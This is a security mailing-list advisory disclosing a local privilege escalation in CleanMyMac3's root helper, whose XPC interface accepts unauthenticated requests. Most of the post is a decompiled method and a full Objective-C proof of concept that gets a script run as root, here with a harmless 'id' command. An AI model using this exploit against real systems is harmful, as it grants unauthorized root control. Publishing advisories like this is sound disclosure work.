Message-ID: <CADFbWowtCShdfx8znut78dbDpA5Vkj13ia77u_v_S9y8dK=GsA@mail.gmail.com>
Date: Tue, 24 Jul 2018 22:06:24 +0800
From: Chi Chou <codecolorist@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CleanMyMac3 local privilege escalation

CleanMyMac3 installs a rooted helper *com.macpaw.CleanMyMac3.Agent*, and
its XPC interface does not validate anything. In CMPrivilegedOperationprotocol,
there are actually more than one way to execute privileged code.

The most straight forward one is to use periodic:

void __cdecl -[CMPriviligedOperations
runPeriodicScript:withReply:](CMPriviligedOperations *self, SEL a2, id
a3, id a4)
{
  id v4; // rbx
  __int64 v5; // r14
  __int64 v6; // rdx
  __int64 v7; // r12
  void *v8; // rax
  __int64 v9; // rbx
  __int64 v10; // [rsp+8h] [rbp-38h]

  v4 = a4;
  v5 = objc_retain(a3, a2, a3);
  v7 = objc_retain(v4, a2, v6);
  v10 = v5;
  v8 = objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:count:",
&v10, 1LL);
  v9 = objc_retainAutoreleasedReturnValue(v8);
  +[CMTaskRunner launchTaskAndGetTermStatusWithCmd:arguments:](
    &OBJC_CLASS___CMTaskRunner,
    "launchTaskAndGetTermStatusWithCmd:arguments:",
    CFSTR("/usr/sbin/periodic"),
    v9);
  objc_release(v5);
  objc_release(v9);
  if ( v7 )
    (*(void (__fastcall **)(__int64, signed __int64, _QWORD))(v7 +
16))(v7, 1LL, 0LL);
  objc_release(v7);
}

Simply give periodic a directory, it will execute every shell scripts
inside.

Here's a PoC:

// clang messupmymac.mm -framework Foundation -o messup && ./messup
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>

@protocol CMPrivilegedOperation <NSObject>
- (void)sizeOfItemAtPath:(NSString *)arg1 reply:(void (^)(long long,
NSError *))arg2;
- (void)removeDiagnosticLogsWithReply:(void (^)(NSString *, long long,
NSString *, NSError *))arg1;
- (void)flushDNSWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeLibraryFromLauchdConf:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeGlobalLoginItemForAppWithPath:(NSString *)arg1
withReply:(void (^)(BOOL, NSError *))arg2;
- (void)startSpotlightReindexWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)runPeriodicScript:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)repairPermissionsWithReply:(void (^)(BOOL, int, NSString *))arg1;
- (void)stopStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)startStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removeSMLoginItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)disableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)enableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)slimBinaryWithPath:(NSString *)arg1 archs:(NSArray *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)removeASLWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeKextAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removePackageWithID:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)truncateFileAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveToTrashItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)securelyRemoveItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeItemAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)echo:(NSString *)arg1 withReply:(void (^)(NSString *, NSError *))arg2;
- (void)pleaseTerminate;
@end

int main(int argc, const char *argv[]) {
    // write payload script
    NSError *err;
    NSString *identifier = [[NSProcessInfo processInfo] globallyUniqueString];
    NSString *tmp = [NSTemporaryDirectory()
stringByAppendingPathComponent:identifier];
    NSFileManager *fileManager = [NSFileManager defaultManager];
    [fileManager createDirectoryAtPath:tmp
withIntermediateDirectories:YES attributes:nil error:&err];
    if (err) {
        NSLog(@"failed to create directory %@\nreason: %@", tmp, err);
        exit(-1);
    }
    NSString *executable = [tmp stringByAppendingPathComponent:@"payload.sh"];
    NSURL *url = [NSURL fileURLWithPath:executable isDirectory:NO];
    [@"id > /hello.txt" writeToURL:url
                                          atomically:NO

encoding:NSStringEncodingConversionAllowLossy
                                               error:&err];
    if (err) {
        NSLog(@"failed to write to %@\nreason: %@", url, err);
        exit(-1);
    }

    [fileManager setAttributes:@{ NSFilePosixPermissions : @0777 }
                                     ofItemAtPath:executable
                                            error:&err];
    if (err) {
        NSLog(@"failed to set executable\nreason: %@", err);
        exit(-1);
    }

    // run
    NSXPCConnection *connection = [[NSXPCConnection alloc]

initWithMachServiceName:@"com.macpaw.CleanMyMac3.Agent"
                                   options:NSXPCConnectionPrivileged];

    connection.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(CMPrivilegedOperation)];
    dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
    [connection resume];
    [connection.remoteObjectProxy runPeriodicScript:tmp
withReply:^(BOOL status, NSError *err) {
        if (err)
            NSLog(@"failed: %@", err);
        else
            NSLog(@"OK");
        dispatch_semaphore_signal(semaphore);
    }];
    dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
    NSLog(@"done");
    return 0;
}

I reported this issue in April, but they haven’t release any patch yet.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists